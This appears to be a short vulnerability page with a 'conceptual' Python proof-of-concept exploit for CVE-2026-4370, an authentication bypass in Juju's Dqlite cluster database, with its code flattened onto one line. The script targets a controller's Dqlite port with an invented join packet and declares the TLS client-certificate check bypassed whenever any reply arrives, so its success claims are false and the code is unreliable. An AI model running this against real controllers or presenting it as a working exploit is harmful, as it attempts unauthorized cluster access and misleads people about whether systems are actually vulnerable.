CVE-2026-4370 Juju Dqlite数据库认证绕过漏洞

# Conceptual PoC for CVE-2026-4370: Juju Dqlite Auth Bypass # This script simulates a malicious node joining the cluster. # Note: Real exploitation requires implementing the Dqlite/Raft protocol specifics. import socket import struct TARGET_IP = "192.168.1.100" # Juju Controller IP TARGET_PORT = 19002 # Default Dqlite port def exploit_juju_dqlite(): print(f"[*] Attempting to join Juju Dqlite cluster at {TARGET_IP}:{TARGET_PORT}...") try: # 1. Establish TCP connection to Dqlite port sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((TARGET_IP, TARGET_PORT)) # 2. Send a Join Request (Protocol specific) # In vulnerable versions, the server accepts this without valid client certs. # This is a simplified representation of the handshake. # Mock Protocol Header + Join Message protocol_version = 1 # Example version msg_type = 0x01 # Example: JOIN type payload = struct.pack("!IB", protocol_version, msg_type) sock.send(payload) # 3. Receive response response = sock.recv(1024) if response: print("[+] Connection established and response received!") print(f"[+] Response: {response}") print("[+] Successfully bypassed TLS client certificate validation.") print("[+] Attacker is now part of the Dqlite cluster.") else: print("[-] No response received. Target might be patched.") sock.close() except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": exploit_juju_dqlite()